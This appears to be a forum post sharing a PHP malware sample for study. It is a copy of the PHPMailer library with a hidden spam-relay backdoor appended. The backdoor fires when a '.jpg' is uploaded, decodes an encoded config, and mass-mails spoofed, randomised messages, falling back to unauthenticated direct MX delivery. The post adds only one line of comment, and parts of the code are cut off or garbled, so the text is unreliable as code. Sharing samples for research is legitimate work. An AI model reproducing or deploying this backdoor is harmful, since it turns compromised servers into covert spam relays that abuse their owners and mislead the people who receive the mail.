'alt_inline': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: // catch case 'plain' and case '' $body .= $this->encodeString($this->Body, $bodyEncoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.'); } // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 $file = tempnam(sys_get_temp_dir(), 'mail'); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); } $signed = tempnam(sys_get_temp_dir(), 'signed'); if (@openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null ) ) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang('signing') . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= $this->LE; // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ($this->message_type == '') { $this->message_type = 'plain'; } } public function headerLine($name, $value) { return $name . ': ' . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') { try { if (!@is_file($path)) { throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => 0 ); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { // Return text of body $mime = array(); $cidUniq = array(); $incl = array(); // Add all attachments foreach ($this->attachment as $attachment) { // Check if it is a valid disposition_filter if ($attachment[6] == $disposition_type) { // Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == 'inline' && isset($cidUniq[$cid])) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, $this->LE); $mime[] = sprintf( 'Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE ); // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); } if ($disposition == 'inline') { $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); } // If a filename contains any of these chars, it should be quoted, // but not otherwise: RFC2183 & RFC2045 5.1 // Fixes a warning in IETF's msglint MIME checker // Allow for bypassing the Content-Disposition header totally if (!(empty($disposition))) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE ); } } else { $mime[] = $this->LE; } // Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf('--%s--%s', $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = 'base64') { try { if (!is_readable($path)) { throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); } $magic_quotes = get_magic_quotes_runtime(); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(false); } else { ini_set('magic_quotes_runtime', 0); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes); } else { ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0')); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = 'base64') { $encoded = ''; switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case '7bit': case '8bit': $encoded = $this->fixEOL($str); // Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) { $encoded .= $this->LE; } break; case 'binary': $encoded = $str; break; case 'quoted-printable': $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang('encoding') . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = 'text') { $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { // Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded); } else { return ("\"$encoded\""); } } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); // Intentional fall-through case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($matchcount == 0) { // There are no chars that need encoding return ($str); } $maxlen = 75 - 7 - strlen($this->CharSet); // Try to select the encoding which should produce the shortest output if ($matchcount > strlen($str) / 3) { // More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B'; if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } } else { $encoding = 'Q'; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded)); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); $encoded = trim(str_replace("\n", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet)); } else { // Assume no multibytes (we can't handle without mbstring functions anyway) return false; } } public function has8bitChars($text) { return (boolean)preg_match('/[\x80-\xFF]/', $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); // Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); // Average multi-byte ratio $ratio = $mb_length / strlen($str); // Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } // Chomp the last linefeed $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3) return $this->fixEOL(quoted_printable_encode($string)); } // Fall back to a pure PHP implementation $string = str_replace( array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string) ); $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string); return $this->fixEOL($string); } public function encodeQPphp( $string, $line_max = 76, /** @noinspection PhpUnusedParameterInspection */ $space_conv = false ) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = 'text') { // There should not be any EOL in the string $pattern = ''; $encoded = str_replace(array("\r", "\n"), '', $str); switch (strtolower($position)) { case 'phrase': // RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': // RFC 2047 section 5.2 $pattern = '\(\)"'; case 'text': default: $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = array(); if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search('=', $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } // Replace every spaces to _ (more readable than =20) return str_replace(' ', '_', $encoded); } public function addStringAttachment( $string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment' ) { // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($filename); } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => 0 ); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if (!@is_file($path)) { $this->setError($this->lang('file_access') . $path); return false; } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } // Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => $cid ); return true; } public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline' ) { // If a MIME type is not specified, try to work it out from the name if ($type == '') { $type = self::filenameToType($name); } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => $cid ); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); } public function clearReplyTos() { $this->ReplyTo = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { $msg .= '

' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "
\n"; } } $this->ErrorInfo = $msg; } public static function rfcDate() { // Set the time zone to whatever the default is to avoid 500 errors // Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } protected function serverHostname() { $result = 'localhost.localdomain'; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== false) { $result = php_uname('n'); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage('en'); // set the default language } if (isset($this->language[$key])) { return $this->language[$key]; } else { return 'Language string failed to load: ' . $key; } } public function isError() { return ($this->error_count > 0); } public function fixEOL($str) { // Normalise to \n $nstr = str_replace(array("\r\n", "\r"), "\n", $str); // Now convert LE as needed if ($this->LE !== "\n") { $nstr = str_replace("\n", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { // Value passed in as name:value $this->CustomHeader[] = explode(':', $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); if (isset($images[2])) { foreach ($images[2] as $imgindex => $url) { // Convert data URIs into embedded images if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { $data = substr($url, strpos($url, ',')); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) { $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } elseif (!preg_match('#^[A-z]+://#', $url)) { // Do not change urls for absolute images (thanks to corvuscorax) $filename = basename($url); $directory = dirname($url); if ($directory == '.') { $directory = ''; } $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir .= '/'; } if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/'; } if ($this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(true); // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (empty($this->AltBody)) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } public static function _mime_types($ext = '') { $mimes = array( 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie' ); return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream'); } public static function filenameToType($filename) { // In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo['extension']); } public static function mb_pathinfo($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); $pathinfo = array(); if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } public function set($name, $value = '') { try { if (isset($this->$name)) { $this->$name = $value; } else { throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL); } } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($exc->getCode() == self::STOP_CRITICAL) { return false; } } return true; } public function secureHeader($str) { return trim(str_replace(array("\r", "\n"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "\r\n") { return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.'); } return ''; } $privKeyStr = file_get_contents($this->DKIM_private); if ($this->DKIM_passphrase != '') { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = $privKeyStr; } if (openssl_sign($signHeader, $signature, $privKey)) { return base64_encode($signature); } return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader); $lines = explode("\r\n", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(':', $line, 2); $heading = strtolower($heading); $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value } $signHeader = implode("\r\n", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "\r\n"; } // stabilize line endings $body = str_replace("\r\n", "\n", $body); $body = str_replace("\n", "\r\n", $body); // END stabilize line endings while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body $DKIMquery = 'dns/txt'; // Query method $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header; $current = 'from_header'; } elseif (strpos($header, 'To:') === 0) { $to_header = $header; $current = 'to_header'; } else { if ($current && strpos($header, ' =?') === 0) { $current .= $header; } else { $current = ''; } } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); $subject = str_replace( '|', '=7C', $this->DKIM_QP($subject_header) ); // Copied header fields (dkim-quoted-printable) $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); // Length of body $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';'; $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb="; $toSign = $this->DKIM_HeaderC( $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs ); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "\r\n"; } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = '' . $this->getMessage() . "
\n"; return $errorMsg; } } ///////////////////////////////////////////////////////////////// function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file) { $mail = new PHPMailer(); $mail->isMail(); $mail->CharSet = 'utf-8'; $mail->SetFrom($from_email, $from_name); $mail->AddAddress($to); $mail->Subject = $subject; if ($type == "1") { $mail->MsgHTML($body); } elseif ($type == "2") { $mail->isHTML(false); $mail->Body = $body; } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if ($file['tmp_name'] != $config_file) { $mail->addAttachment($file['tmp_name'], $file['name']); } } } if (!$mail->send()) { $to_domain = explode("@", $to); $to_domain = $to_domain[1]; $mail->IsSMTP(); $mail->Host = mx_lookup($to_domain); $mail->Port = 25; $mail->SMTPAuth = false; if (!$mail->send()) { return Array(0, $mail->ErrorInfo); } else { return Array(2, 0); } } else { return Array(1, 0); } } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if(strpos($file['name'], ".jpg")) { $res = type1_send($file['tmp_name']); if ($res) { echo $res; } } } } function mx_lookup($hostname) { @getmxrr($hostname, $mxhosts, $precedence); if(count($mxhosts) === 0) return '127.0.0.1'; $position = array_keys($precedence, min($precedence)); return $mxhosts[$position[0]]; } function myhex2bin( $str ) { $sbin = ""; $len = strlen( $str ); for ( $i = 0; $i < $len; $i += 2 ) { $sbin .= pack( "H*", substr( $str, $i, 2 ) ); } return $sbin; } function decode($data, $key) { $out_data = ""; for ($i=0; $i$email) { $theme = $data['s'][array_rand($data['s'])]; $theme = alter_macros($theme); $theme = num_macros($theme); $theme = xnum_macros($theme); $message = $data['l']; $message = alter_macros($message); $message = num_macros($message); $message = xnum_macros($message); $message = fteil_macros($message, $uid); $from = $data['f'][array_rand($data['f'])]; $from = alter_macros($from); $from = num_macros($from); $from = xnum_macros($from); if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from); } else { $from = str_replace("[CUSTOM]", "", $from); } $from_email = explode("<", $from); $from_email = explode(">", $from_email[1]); $from_name = explode("\"", $from); $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file); if ($last_error[1] === 0) { $good++; } else { $bad++; $good = count($data['e']) - $bad; } } $res["r"]["t"] = $last_error[0]; $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1]; $res["r"]["g"] = $good; $res["r"]["b"] = $bad; return base64_encode(serialize($res)); }

看得出这是一个邮件代理.

先把样本丢在这,有兴趣的慢慢研究吧。

hack